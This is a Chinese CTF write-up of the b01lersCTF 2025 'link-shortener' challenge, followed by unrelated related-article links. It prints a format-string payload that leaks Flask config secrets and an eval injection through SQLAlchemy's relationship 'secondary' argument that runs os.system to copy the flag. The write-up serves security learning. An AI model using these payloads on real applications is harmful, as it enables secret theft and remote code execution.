当前位置: 首页 > news >正文

两次解析格式化字符串 + 使用SQLAlchemy的relationship执行任意命令 -- link-shortener b01lersCTF 2025

题目描述: A fast and reliable link shortener service, with a new feature to add private links!

我们走一遍逻辑

注册

@app.route("/register", methods=['GET', 'POST'])  
def register():  """  用户注册路由,处理用户注册请求,验证用户名唯一性并保存用户信息到数据库  """create_tables()  if request.method == "POST":  # 从表单中获取用户信息  name = request.form["name"]  password = request.form["password"]  email = request.form["email"]  with Session() as session:  # 检查用户是否已存在  existing_user = session.query(Users).filter_by(name=name).first()  if existing_user:  return statusify(False, "User already exists")  # 对密码进行哈希处理  hashed_password = bcrypt.hashpw(password.encode("utf-8"), bcrypt.gensalt()).decode("utf-8")  # 创建新用户  new_user = Users(name=name, hashed_pw=hashed_password, email=email)  session.add(new_user)  session.commit()  return statusify(True, "Account successfully created.")  return render_template("register.html")

登录

@app.route("/login", methods=['GET', 'POST'])  
def login():  """  用户登录路由,处理用户登录请求,验证用户名和密码  """    if request.method == "POST":  # 从表单中获取用户信息  name = request.form["name"]  password = request.form["password"]  with Session() as session:  # 查询用户  user = session.query(Users).filter_by(name=name).first()  if user and bcrypt.checkpw(password.encode("utf-8"), user.hashed_pw.encode("utf-8")):  # 登录用户  login_user(user)  return statusify(True, "Logged in")  else:  return statusify(False, "Invalid Credentials")  return render_template("login.html")

这里不太对,返回是拼上去的,我们可以控制元组,我可以控制他们为函数吗?

from typing import Optional  
from sqlalchemy import ForeignKey, String  
from sqlalchemy.orm import DeclarativeBase, Mapped, mapped_column  
from flask_login import UserMixin  # 定义 SQLAlchemy 的基类,所有模型类都将继承自这个基类  
class Base(DeclarativeBase):  pass  # 定义 Links 模型类,对应数据库中的 links 表  
class Links(Base):  # 指定数据库表名  __tablename__ = "links"  # 定义主键字段 id    id: Mapped[int] = mapped_column(primary_key=True)  # 定义 url 字段,存储链接的 URL    url: Mapped[str]  # 定义 path 字段,存储链接的路径  path: Mapped[str]  # 定义对象的字符串表示形式,方便调试和打印对象信息  def __repr__(self) -> str:  return f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self)  # 定义 Users 模型类,对应数据库中的 users 表,同时继承 UserMixin 以支持 Flask-Loginclass Users(Base, UserMixin):  # 指定数据库表名  __tablename__ = "users"  # 定义主键字段 id    id: Mapped[int] = mapped_column(primary_key=True)  # 定义 name 字段,最大长度为 30    name: Mapped[str] = mapped_column(String(30))  # 定义 email 字段,可为空  email: Mapped[Optional[str]]  # 定义 hashed_pw 字段,存储用户的哈希密码  hashed_pw: Mapped[str]  # 定义对象的字符串表示形式,方便调试和打印对象信息  def __repr__(self) -> str:  return f"User(id={self.id!r}, name={self.name!r}, email={self.email!r})".format(self=self)  # 定义 PrivateLinks 模型类,对应数据库中的 privatelinks 表  
class PrivateLinks(Base):  # 指定数据库表名  __tablename__ = "privatelinks"  # 定义主键字段 id    id: Mapped[int] = mapped_column(primary_key=True)  # 定义 url 字段,存储链接的 URL    url: Mapped[str]  # 定义 path 字段,存储链接的路径  path: Mapped[str]  # 定义外键字段 user_id,关联到 users 表的 id 字段  user_id: Mapped[int] = mapped_column(ForeignKey("users.id"))  # 定义对象的字符串表示形式,方便调试和打印对象信息  def __repr__(self) -> str:  return f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self)
@app.route("/user/create", methods=['GET'])  
@login_required  
def create_private():  """  创建私有链接的路由,需要用户登录,验证 URL 有效性,生成唯一路径并保存到数据库  """    with Session() as session:  # 查询当前用户  user:Users = session.query(Users).filter_by(name=current_user.name).first()  print(user.name)  # 从请求参数中获取 URL        url = request.args.get("url", default=None)  # 验证 URL 是否有效  if url is None \  or len(url) > 130 \  or not match(r'^(https?://)?(?:www\.)?[a-zA-Z0-9-]+\.[a-zA-Z]{2,}(?:/[^\s]*)?$', url):  return statusify(False, "Invalid Url")  # 生成路径  path = gen_path()  # 确保路径对当前用户唯一  while any([link.path == path for link in session.query(PrivateLinks).filter_by(path=path, user_id=user.id).all()]):  path = gen_path()  # 将新私有链接添加到数据库  session.add(PrivateLinks(url=url, path=path, user_id=user.id))  session.commit()  return statusify(True, "user/" + path)

然后重定向

@app.route("/<path:path>", methods=['GET'])  
def handle_path(path):  """  处理公共链接路径的路由,根据路径查询数据库并重定向到对应的 URL"""    with Session() as session:  # 根据路径查询链接  link: Links = session.query(Links).filter_by(path=path).first()  if link is None:  return redirect("/")  return redirect(link.url)

flag在随机位置,这意味着我必须执行任意代码或者获得文件任意文件读取

RUN mv /tmp/flag.txt /$(head -c 16 /dev/urandom | xxd -p).txt

这个看着很怪

# 定义配置路由,只接受 POST 请求
@app.route("/configure", methods=['POST'])
def configure():# 声明全局变量global base_urlglobal ukwargsglobal pkwargs# 从请求中获取 JSON 数据data = request.get_json()if data and data.get("token") == app.config["TOKEN"]: # 如果数据存在且令牌正确,更新配置信息base_url = data.get("base_url")app.config["TOKEN"] = data.get("new_token")ukwargs = data.get("ukwargs")pkwargs = data.get("pkwargs")else:# 如果数据不存在或令牌错误,返回错误状态信息return statusify(False, "Invalid Params")# 返回成功状态信息return statusify(True, "Success")

没看出来漏洞 …

赛后 -----------------------------------------------------------------------------------------------------------

SQLAlchemy ORM是什么?

我们可以用一个 「仓库管理员」 的比喻,来形象地理解 SQLAlchemy ORM:

想象场景:

你有一个巨大的仓库(数据库),里面堆满了各种货物(数据)。仓库的货架结构复杂,每个货架对应一张表格(数据库表),比如「图书货架」「用户货架」等。传统方式中,如果你想存取货物,必须手动填写复杂的单据(写SQL语句),比如:

SELECT * FROM 图书货架 WHERE 价格 > 50;  -- 手动写SQL查询

但有了 SQLAlchemy ORM,仓库里会出现一个聪明的 「机器人管理员」,它帮你把仓库的复杂结构翻译成你熟悉的 Python 对象和代码!

机器人管理员(ORM)的工作方式:

  1. 用Python类定义货架结构
    你不再需要记住货架的复杂布局,而是用 Python 类描述货架:

    class 图书(Base):__tablename__ = '图书货架'  # 对应数据库表名id = Column(Integer, primary_key=True)  # 货架上的编号书名 = Column(String)价格 = Column(Integer)
    

    这个类就像一张「设计图」,告诉机器人管理员仓库里「图书货架」长什么样。

  2. 用Python对象操作货物

    • 存数据:不再写 INSERT INTO 图书货架...,而是创建一个 Python 对象:
      新书 = 图书(书名="Python编程", 价格=99)
      
    • 取数据:不再写 SELECT * FROM 图书货架,而是用 Python 语法查询:
      贵书 = session.query(图书).filter(图书.价格 > 50).all()
      
  3. 机器人自动翻译
    机器人管理员(ORM)会默默将你的 Python 操作翻译成 SQL 语句,像这样:

    session.add(新书)  # 机器人翻译成:INSERT INTO 图书货架 (书名, 价格) VALUES ('Python编程', 99);
    session.commit()   # 提交更改到仓库
    

__repr__

在 Python 中,__repr__ 是一个特殊的魔术方法(magic method),用于定义对象的“官方”字符串表示形式。它的目标是返回一个明确的、通常可执行的表达式字符串,理论上可以用这个字符串重新创建该对象。

核心作用

  1. 调试友好
    当你在交互式环境(如 Python Shell)中直接打印对象,或使用 repr(obj) 函数时,会调用 __repr__。它的输出应帮助开发者明确对象的状态。

  2. 重建对象
    最佳实践是让 __repr__ 返回的字符串看起来像有效的 Python 代码,以便通过 eval(repr(obj)) 重新生成对象(如果安全且可行)。

示例代码

class Person:def __init__(self, name, age):self.name = nameself.age = agedef __repr__(self):return f"Person(name='{self.name}', age={self.age})"p = Person("Alice", 30)
print(p)  # 输出:Person(name='Alice', age=30)
  • 未定义 __repr__ 时的默认行为
    默认继承自 object 类的 __repr__ 会返回类似 <__main__.Person object at 0x7f8b1c1e3d90> 的无意义信息。

  • 定义 __repr__
    输出更清晰的字符串,直接反映对象的关键属性。

__str__ 的区别

方法调用场景目标受众默认行为
__repr__repr(obj)、直接输入对象名开发者(调试)返回类名和内存地址
__str__str(obj)print(obj)终端用户默认回退到 __repr__
  • 优先级
    若未定义 __str__,Python 会使用 __repr__ 作为备用。

最佳实践

  1. 明确性
    输出应包含足够的信息以重建对象(如类名和关键参数)。

  2. 可执行性(可选)
    理想情况下,eval(repr(obj)) 应返回等价对象(需确保安全性)。

  3. 格式化规范
    通常返回 f"{self.__class__.__name__}(...)" 风格的字符串。

!r

在Python中,!r 是一种字符串格式化的转换符,用于在格式化字符串时调用对象的 repr() 方法。它的作用是将对象转换为“官方字符串表示”,通常用于调试或需要明确显示对象类型信息的场景。

核心作用

  • !r 会在格式化时调用对象的 repr() 方法,生成一个明确且无歧义的字符串表示。
  • 与之相对的 !s 会调用 str() 方法(生成用户友好的字符串表示),而 !a 会调用 ascii() 方法(生成ASCII安全的表示)。

使用场景

!r 常用于以下情况:

  1. 调试输出:显示变量的精确类型和内容(例如字符串的引号会被保留)。
  2. 需要明确对象信息:比如在日志中记录对象的结构或类型。

示例

name = "Alice"
print(f"普通输出: {name}")      # 输出: Alice
print(f"使用!r: {name!r}")     # 输出: 'Alice'(调用 repr(name))
class Person:def __repr__(self):return "Person()"p = Person()
print(f"{p}")    # 输出: Person()(默认调用 __str__,若未定义则调用 __repr__)
print(f"{p!r}")  # 显式调用 __repr__: Person()

当我们将如下链接缩短时

http://fake.com/{self._sa_registry.__init__.__globals__[Mapper].__init__.__globals__[sys].modules[__main__].app.config}

在all路由中将能看到这样的情况

 "Link(id=3, url='http://fake.com/\u003CConfig {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': '6bb16f1e31c759004f3d1df627bbaea43e9ed2d32612ad5e302685ad9b74ad1ec1ea79682d7c088d1f53ce54ff14c6370843206629b7ac6cdd0f73a1bfba8e3b', 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True, 'SQLALCHEMY_DATABASE_URI': 'sqlite:///./db/links.db', 'TOKEN': 'b0d9c8f82a36c3314a1afab0171264bfcb6e220782517fe9c3d5d59a12bae5f64093e93d8c00d900200f94549608003fd3a81cbf16733ce336fb14cabae044e7'}\u003E', path='gVTQ')"

这是因为格式化字符串被二次解析

f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self)
f_str = f"User(id={self.id!r}, name={self.name!r}, email={self.email!r})"
return f_str.format(self=self)

接下来我们可以访问configure路由并篡改ukwargs

# 定义配置路由,只接受 POST 请求
@app.route("/configure", methods=['POST'])
def configure():# 声明全局变量global base_urlglobal ukwargsglobal pkwargs# 从请求中获取 JSON 数据data = request.get_json()if data and data.get("token") == app.config["TOKEN"]: # 如果数据存在且令牌正确,更新配置信息base_url = data.get("base_url")app.config["TOKEN"] = data.get("new_token")ukwargs = data.get("ukwargs")pkwargs = data.get("pkwargs")else:# 如果数据不存在或令牌错误,返回错误状态信息return statusify(False, "Invalid Params")# 返回成功状态信息return statusify(True, "Success")

这意味这我们可以控制 relationship 的参数

def create_tables():# 创建数据库检查器inspector = inspect(engine)if 'users' not in inspector.get_table_names():# 如果用户表不存在,定义用户和私有链接的关系并创建用户表Users.private_links = relationship("PrivateLinks", **ukwargs)Users.__table__.create(engine)if 'privatelinks' not in inspector.get_table_names():# 如果私有链接表不存在,定义私有链接和用户的关系并创建私有链接表PrivateLinks.users = relationship("Users", **pkwargs)PrivateLinks.__table__.create(engine)

基本关系模式 — SQLAlchemy 2.0 文档


Using a late-evaluated form for the “secondary” argument of many-to-many

Many-to-many relationships make use of the relationship.secondary parameter, which ordinarily indicates a reference to a typically non-mapped Table object or other Core selectable object. Late evaluation using a lambda callable is typical.

For the example given at Many To Many, if we assumed that the Table object would be defined at a point later on in the module than the mapped class itself, we may write the relationship() using a lambda as:association_table

class Parent(Base):
tablename = “left_table”

id: Mapped[int] = mapped_column(primary_key=True)
children: Mapped[List["Child"]] = relationship("Child", secondary=lambda: association_table
)

As a shortcut for table names that are also valid Python identifiers, the relationship.secondary parameter may also be passed as a string, where resolution works by evaluation of the string as a Python expression, with simple identifier names linked to same-named Table objects that are present in the same MetaData collection referenced by the current registry.

In the example below, the expression is evaluated as a variable named “association_table” that is resolved against the table names within the MetaData collection:"association_table"

class Parent(Base):
tablename = “left_table”

id: Mapped[int] = mapped_column(primary_key=True)
children: Mapped[List["Child"]] = relationship(secondary="association_table")

Note

When passed as a string, the name passed to relationship.secondary must be a valid Python identifier starting with a letter and containing only alphanumeric characters or underscores. Other characters such as dashes etc. will be interpreted as Python operators which will not resolve to the name given. Please consider using lambda expressions rather than strings for improved clarity.

Warning

When passed as a string, relationship.secondary argument is interpreted using Python’s function, even though it’s typically the name of a table. DO NOT PASS UNTRUSTED INPUT TO THIS STRING.eval()


secondary 是 SQLAlchemy 中用于定义多对多关系的“中间人”,它指向一个关联表(Association Table),告诉 ORM 如何通过这个中间表连接两个主表。

举个现实例子

想象你要管理一个 学生选课系统

  • 学生表students):记录学生信息
  • 课程表courses):记录课程信息
  • 关联表enrollments):记录哪个学生选了哪门课(学生ID + 课程ID)

这里的 enrollments 就是 secondary 指向的中间表。通过它,一个学生可以选多门课,一门课也可以被多个学生选。


代码解析 🔍

# 1. 定义中间表(secondary 指向它)
enrollments = Table("enrollments",Base.metadata,Column("student_id", ForeignKey("students.id")),Column("course_id", ForeignKey("courses.id"))
)# 2. 在学生表中定义多对多关系
class Student(Base):__tablename__ = "students"id = Column(Integer, primary_key=True)# ▼ 关键:通过 secondary 指定中间表 ▼courses = relationship("Course", secondary=enrollments)# 3. 课程表无需特殊定义
class Course(Base):__tablename__ = "courses"id = Column(Integer, primary_key=True)

secondary 的作用 🛠️

  1. 自动管理关联表
    当你操作 student.courses.append(course) 时,SQLAlchemy 会自动在 enrollments 表中插入关联记录。

  2. 查询导航
    可以直接通过 student.courses 获取学生选的所有课程,无需手动写 JOIN 查询。

  3. 解耦主表
    学生表和课程表无需直接包含对方的信息,所有关联逻辑由中间表处理。

为什么需要它? 🤔

  • 多对多关系的本质:直接在主表中无法表达“一个学生选多门课,一门课有多个学生”的关系。
  • 中间表必要性:必须通过第三个表存储关联关系(类似现实中的购物车记录订单和商品的关系)。

secondary 会在eval中解析

ukwargs={"back_populates": "users","secondary": "__import__('os').system('cp /f* templates/sponsors.html')"
}

最后访问 /register 触发

@app.route("/register", methods=['GET', 'POST'])
def register():# 调用创建表的函数create_tables()

再访问/sponsors

相关文章:

两次解析格式化字符串 + 使用SQLAlchemy的relationship执行任意命令 -- link-shortener b01lersCTF 2025

题目描述: A fast and reliable link shortener service, with a new feature to add private links! 我们走一遍逻辑 注册 app.route("/register", methods[GET, POST]) def register(): """ 用户注册路由&#xff0c;处理用户注册请求&#xff…...

双目测量中的将视差图重投影成三维坐标图

双目测距主要步骤如下&#xff1a; 左右两张图片 → 匹配 → 得到视差图 disp&#xff1b; 使用 cv2.reprojectImageTo3D(disp, Q) 将视差图 重投影 成三维坐标图 → 得到 points_3d 什么是 points_3d&#xff1f; points_3d cv2.reprojectImageTo3D(disp, Q)points_3d.shap…...

WebAssembly(Wasm):现代Web开发的超级加速器

在当今的Web开发领域&#xff0c;性能和效率是开发者们永恒的追求目标。随着Web应用的复杂度不断增加&#xff0c;传统的JavaScript在某些场景下已经难以满足高性能计算和复杂逻辑处理的需求。此时&#xff0c;WebAssembly&#xff08;Wasm&#xff09;作为一种新兴的Web技术&a…...

学习黑客Nmap 命令法诀

筑基期第二重 — Nmap 命令法诀 修炼目标 这一重我们要把上一阶段学到的“神识探查原理”化成 实战招式&#xff1a;掌握日常最常用的 Nmap 命令&#xff0c;并能随心组合。每条命令都配上“修仙比喻”&#xff0c;让你边笑边记。 1. 基础法诀速查表&#xff08;凡修版&#xf…...

基于思考过程评价的心理问题咨询对话记性评估

基于思考过程评价的心理问题咨询对话记性评估 摘要: 在心理问题咨询的对话场景中,传统记性评价多局限于对话结果的相似度计算,无法全面捕捉来访者及咨询师在对话过程中的思维动态。本文提出一种聚焦此对话场景的记性评价新方法,将思考过程纳入评估范畴。详细阐释其基于认知…...

SQL数据库操作大全:从基础到高级查询技巧

大家好&#xff0c;欢迎来到程序视点&#xff01;我是你们的老朋友.小二&#xff01; SQL数据库操作核心语法精要 数据库基础操作 创建/删除数据库&#xff1a;CREATE DATABASE / DROP DATABASE 备份SQL Server&#xff1a;使用sp_addumpdevice和BACKUP DATABASE命令 数据库…...

基于MATLAB图像中的圆形目标识别和标记

一、前言 在数字图像处理中&#xff0c;有些图像类别可以使用圆形度进行区分。圆度有时被称为圆形度&#xff0c;其定义为&#xff1a;圆度 4πA / P&#xff0c;其中A是面积&#xff0c;P是周长。这个公式的来源是&#xff0c;对于圆来说&#xff0c;这个值等于1&#xff0c;…...

android-ndk开发(4): linux开发机有线连接android设备

android-ndk开发(4): linux开发机有线连接android设备 2025/05/05 1. 概要 linux 系统&#xff0c; 例如最常见的 ubuntu&#xff0c; 在通过 USB 线把 android 设备连接到开发机上时&#xff0c; 仅仅是 ”物理上的连接”。 这时候 adb 是无法识别到 android 设备的。 需要…...

相机biaoding

需要先安装linux客户端&#xff08;海康机器人官网&#xff09;&#xff0c;sudo dpkg -i MVS-2.1.2_x86_64_20221208.deb cd /opt/MVS/bin/ 再./MVS.sh运行,客户端启动。 打开海康相机客户端 cd /opt/MVS/bin export LD_LIBRARY_PATH/opt/MVS/bin/:$LD_LIBRARY_PATH ./MVS …...

linux 中inotify与inode的关系是什么?

在 Linux 系统中&#xff0c;inotify 和 inode 是两个密切相关但功能不同的概念&#xff0c;它们共同构成了文件系统的核心机制。以下是它们的关系解析&#xff1a; 一、基本概念 1. inode&#xff08;索引节点&#xff09; 定义&#xff1a;inode 是 Linux 文件系统中存储文…...

Paramiko 核心类关系图解析

类图关键说明 SSHClient 核心类 用户主要交互入口&#xff0c;聚合 Transport 对象依赖策略类处理主机密钥验证&#xff08;AutoAddPolicy/RejectPolicy&#xff09; Transport 引擎 管理底层连接生命周期组合 AuthHandler 处理认证逻辑组合 KexBase 实现密钥交换可创建多个 C…...

LeetCode算法题 (反转链表)Day17!!!C/C++

https://leetcode.cn/problems/reverse-linked-list/description/ 一、题目分析 给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。今天这道题目非常的言简意赅&#xff0c;就是给定一个链表将其反转后返回反转后的头节点。 二、示例分析 输…...

3.5/Q1,GBD数据库最新一区文章解读

文章题目&#xff1a;Global burden of low vision and blindness due to age-related macular degeneration from 1990 to 2021 and projections for 2050 DOI&#xff1a;10.1186/s12889-024-21047-x 中文标题&#xff1a;1990年至2021年因年龄相关性黄斑变性导致的低视力和失…...

【AI论文】像素修补师(PixelHacker):具有结构和语义一致性的图像修复(Image Inpainting)

摘要&#xff1a;图像修复是图像编辑和图像生成之间的一个基础研究领域。 最近最先进的方法&#xff08;SOTA&#xff09;探索了新的注意力机制、轻量级架构和上下文感知建模&#xff0c;展示了令人印象深刻的性能。 然而&#xff0c;他们经常在复杂的结构&#xff08;如纹理、…...

卡洛诗中式西餐,打破“高价即高端”认知

在餐饮消费从“功能满足”向“意义消费”跃迁的今天&#xff0c;Z世代对饮食的期待早已超越“吃饱”的生理需求。萨莉亚原团队成员出来升级孵化的新概念西餐卡洛诗作为中式西餐赛道的破局者&#xff0c;通过场景重构、产品升维与情感绑定&#xff0c;将西餐体验转化为情绪的载体…...

Sui 上线两周年,掀起增长「海啸」

两年前的 5 月 3 日&#xff0c;Sui 的主网正式发布&#xff0c;将在开发网和测试网上验证过的下一代技术承诺变为现实。这一新兴网络旨在优化现有区块链技术&#xff0c;结合高性能计算环境与安全性、可验证性及韧性。 随着 Sui 迎来两周年&#xff0c;这股浪潮已成长为「海啸…...

手写 Vue 源码 === reactive 方法

目录 1. 响应式系统概述 2. Proxy与Reflect的应用 3. 响应式对象的创建 4. WeakMap的使用 主要特点 WeakMap 与 Map 的区别 应用场景 5. 依赖收集与触发更新 6. 响应式标记 7. 性能优化 8. 与Vue2的对比 9. 实际应用示例 10. 总结 Vue3的响应式系统是其核心特性…...

第一章-Rust入门

Rust 简介 Rust 是一种强类型的静态编程语言&#xff0c;它可以编写更快、更可靠的软件&#xff0c;兼备高层次的易用性与低层次的控制力。 Rust 具有以下几个特点&#xff1a; 内存安全&#xff0c;且不牺牲性能“编译通过就能正常运行”令人愉悦的语法和强大的语言特性优秀…...

【AI入门】Cherry入门1:Cherry Studio的安装及配置

前言 尝试了Trae配置MCP&#xff0c;测试了n8n设置MCP工作流&#xff0c;但感觉好累啊&#xff0c;CherryStudio横空出世&#xff0c;开着中文界面&#xff0c;就倍感亲切&#xff0c;看着大家操作很丝滑的样子&#xff0c;咱也鸟枪换炮了&#xff0c;哇哈哈&#x1f604;&…...

雷电模拟器-超好用的Windows安卓模拟器

一、雷电模拟器介绍 雷电模拟器是一款功能强大的软件&#xff0c;它能够在电脑上模拟出安卓手机系统&#xff0c;让你可以在电脑上运行各类手机应用及游戏。其采用虚拟安卓手机操作界面&#xff0c;为玩家带来了独特的体验。 &#xff08;一&#xff09;强大的兼容性 雷电模拟…...

数据集-目标检测系列- 蜥蜴 检测数据集 lizard >> DataBall

数据集-目标检测系列- 蜥蜴 检测数据集 lizard >> DataBall DataBall 助力快速掌握数据集的信息和使用方式。 贵在坚持&#xff01; * 相关项目 1&#xff09;数据集可视化项目&#xff1a;gitcode: https://gitcode.com/DataBall/DataBall-detections-100s/overview…...

Kubernetes控制平面组件:Controller Manager 之 NamespaceController 全方位讲解

云原生学习路线导航页&#xff08;持续更新中&#xff09; kubernetes学习系列快捷链接 Kubernetes架构原则和对象设计&#xff08;一&#xff09;Kubernetes架构原则和对象设计&#xff08;二&#xff09;Kubernetes架构原则和对象设计&#xff08;三&#xff09;Kubernetes控…...

数据结构小扫尾——栈

数据结构小扫尾——栈 jarringslee 文章目录 数据结构小扫尾——栈栈本质上是一种特殊的线性表。&#xff08;一&#xff09;线性表的定义&#xff08;二&#xff09;线性表的运算 什么是栈。&#xff08;一&#xff09;栈的定义&#xff08;二&#xff09;栈的分类&#xff0…...

策略模式(Strategy Pattern)

&#x1f9e0; 策略模式&#xff08;Strategy Pattern&#xff09; 策略模式是一种行为型设计模式&#xff0c;它允许定义一系列的算法或行为&#xff0c;然后将每个算法封装到一个类中&#xff0c;使得它们可以互换。策略模式让算法独立于使用它的客户端进行变化&#xff0c;…...

Qwen2_5-Omni-3B:支持视频、音频、图像和文本的全能AI,可在本地运行

Qwen2.5-Omni-3B是阿里云推出的全能AI模型。它能同时处理视频、音频、图像和文本。只有3B参数,却能在本地运行强大的多模态功能。 近日,已经在Hugging Face上发布。它是小型多模态AI系统的重要突破。 特点 Qwen2.5-Omni-3B与普通语言模型不同。它是真正的多模态系统,可以同…...

GZIPOutputStream 类详解

GZIPOutputStream 类详解 GZIPOutputStream 是 Java 中用于压缩数据为 GZIP 格式的输出流类&#xff0c;属于 java.util.zip 包。它是 DeflaterOutputStream 的子类&#xff0c;专门生成符合 GZIP 格式&#xff08;.gz 文件&#xff09;的压缩数据。 1. 核心功能 将数据压缩为…...

sudo useradd -r -s /bin/false -U -m -d /usr/share/ollama ollama解释这行代码的含义

这行命令用于为 OLLAMA 服务创建专用的系统用户&#xff0c;具体参数解析如下&#xff1a; sudo 以管理员权限执行命令&#xff0c;确保有足够权限创建系统用户。 useradd Linux 用户创建命令&#xff0c;用于在系统中新增用户。 -r 创建系统账户&#xff08;非登录用户&…...

自注意力(Self-Attention)和位置编码

自注意力 给定序列 x 1 , … , x n \mathbf{x}_1, \ldots, \mathbf{x}_n x1​,…,xn​, ∀ x i ∈ R d \forall \mathbf{x}_i \in \mathbb{R}^d ∀xi​∈Rd 自注意力池化层将 x i \mathbf{x}_i xi​ 当做key, value, query来对序列抽取特征得到 y 1 , … , y n \mathbf{y}…...

Linux压缩和解压类

一、gzip/gunzip 压缩 1、基本语法 gzip 文件 &#xff08;功能描述&#xff1a;压缩文件&#xff0c;只能将文件压缩为*.gz文件&#xff09; gunzip 文件.gz &#xff08;功能描述&#xff1a;解压缩文件命令&#xff09; 2、经验技巧 &#xff08;1&#…...

Kubernetes控制平面组件:Controller Manager详解

云原生学习路线导航页&#xff08;持续更新中&#xff09; kubernetes学习系列快捷链接 Kubernetes架构原则和对象设计&#xff08;一&#xff09;Kubernetes架构原则和对象设计&#xff08;二&#xff09;Kubernetes架构原则和对象设计&#xff08;三&#xff09;Kubernetes控…...

使用 JavaScript 实现数据导出为 Excel 和 CSV 文件

在 Web 开发中&#xff0c;经常会遇到需要将数据导出为文件的需求&#xff0c;例如将数据导出为 Excel 或 CSV 文件。今天&#xff0c;我们就来探讨如何使用 JavaScript 实现这一功能。 一、实现思路 我们通过 HTML 创建一个按钮&#xff0c;点击按钮时&#xff0c;触发 Java…...

设一个测试情境,新用户注册后显示的名字不完整,测试思路是怎么样的?

问题分析:新用户注册后显示名称不完整 典型表现:用户注册时输入"张三丰",系统仅显示"张"或"张三"等不完整信息 一、测试排查思维导图 二、详细测试方案 1. 前端测试 输入验证: 测试不同长度名称(1字符/10字符/50字符) 测试含空格名称(如…...

NHANES指标推荐:ZJU index

文章题目&#xff1a;Association between ZJU index and gallstones in US adult: a cross-sectional study of NHANES 2017-2020 DOI&#xff1a;10.1186/s12876-024-03553-9 中文标题&#xff1a;ZJU指数与美国成年人胆结石的关联&#xff1a;2017-2020年NHANES横断面研究 发…...

数据存储——高级存储之PV和PVC

一、概述 PV &#xff08; Persistent Volume &#xff09;是持久化卷的意思&#xff0c;是对底层的共享存储的一种抽象。一般情况下 PV 由 kubernetes 管理员进行创建和配置&#xff0c;它与底层具体的共享存储技术有关&#xff0c;并通过插件完成与共享存储的对接。 PVC &a…...

Astro Canvas 数据中心→设备一览大屏操作指南

✅ Astro Canvas 数据中心→设备一览大屏操作指南 📌 目标 通过API连接器 → 转换器 → 数据源 → 数据集 → Astro大屏设计,展示从 IoTDA 获取的设备影子数据,并在 Astro 大屏中以设备一览形式可视化展示(如设备ID、温度、湿度、烟雾浓度等状态)。 🔁 一、整体流程概…...

Cisco NDO - Nexus Dashboard Orchestrator

目录 一、什么是 Cisco NDO? 二、ND vs. NDO? 三、NDO vs. NDFC 四、NDO 用例: 一、什么是 Cisco NDO? Nexus Dashboard Orchestrator(NDO)可通过单一界面,实现跨多个数据中心的一致性网络与策略编排、可扩展性与灾难恢复等。 当在本地、多种私有云或公有云中同时运…...

Android 控件CalendarView、TextClock用法

一 UI代码 <?xml version="1.0" encoding="utf-8"?> <androidx.coordinatorlayout.widget.CoordinatorLayoutxmlns:android="http://schemas.android.com/apk/res/android"xmlns:app="http://schemas.android.com/apk/res-auto…...

Socket 编程 TCP

Socket 编程 TCP TCP socket API 详解V1 - Echo ServerV2 - Echo Server 多进程版本V3 - Echo Server 多线程版本V4 - Echo Server 线程池版本多线程远程命令执行v5 引入线程池版本翻译 TCP socket API 详解 socket(): socket()打开一个网络通讯端口,如果成功的话,就像 open…...

信息系统项目管理师-软考高级(软考高项)​​​​​​​​​​​2025最新(七)

个人笔记整理---仅供参考 项目立项管理 7.1项目建议与立项申请 项目建议书内容必背&#xff01; 7.2项目可行性研究 项目可行性研究必考 7.3项目的评估与决策...

Qt中的UIC

Qt中的UIC(User Interface Compiler, 用户界面编译器)&#xff1a;读取由Qt Widgets Designer生成的XML格式(.ui)文件并创建相应的C头文件或Python源文件。如将mainwindow.ui文件生成ui_mainwindow.h。 uic.exe位置在6.8.0\msvc2019_64\bin &#xff0c;其支持的输入参数如下所…...

【MATLAB例程】基于RSSI原理的Wi-Fi定位程序,N个锚点(数量可自适应)、三维空间,轨迹使用UKF进行滤波,附代码下载链接

本文所述程序实现了一种基于信号强度&#xff08;RSSI&#xff09;的Wi-Fi定位算法&#xff0c;并结合无迹卡尔曼滤波&#xff08;UKF&#xff09;对动态目标轨迹进行滤波优化。代码支持自适应锚点数量&#xff0c;适用于三维空间定位&#xff0c;可模拟目标运动、信号噪声及非…...

vulkanscenegraph显示倾斜模型(6.5)-vsg::DatabasePager

前言 上章深入分析了帧循环过程中&#xff0c;多线程下的记录与提交机制。本章将分析vsg::DatabasePager在更新场景图过程中的作用&#xff0c;进一步揭露vsg中场景图管理机制&#xff0c;并通过分析代码&#xff0c;详细解释vsg中场景图管理机制中的节点添加、节点删除、节点加…...

利用 Python pyttsx3实现文字转语音(TTS)

今天&#xff0c;我想跟大家分享如何利用 Python 编程语言&#xff0c;来实现文字转换为语音的功能&#xff0c;也就是我们常说的 Text-to-Speech (TTS) 技术。 你可能会好奇&#xff0c;为什么学习这个&#xff1f;想象一下&#xff0c;如果你想把书本、文章、杂志的内容转换…...

【PostgreSQL数据分析实战:从数据清洗到可视化全流程】5.1 描述性统计分析(均值/方差/分位数计算)

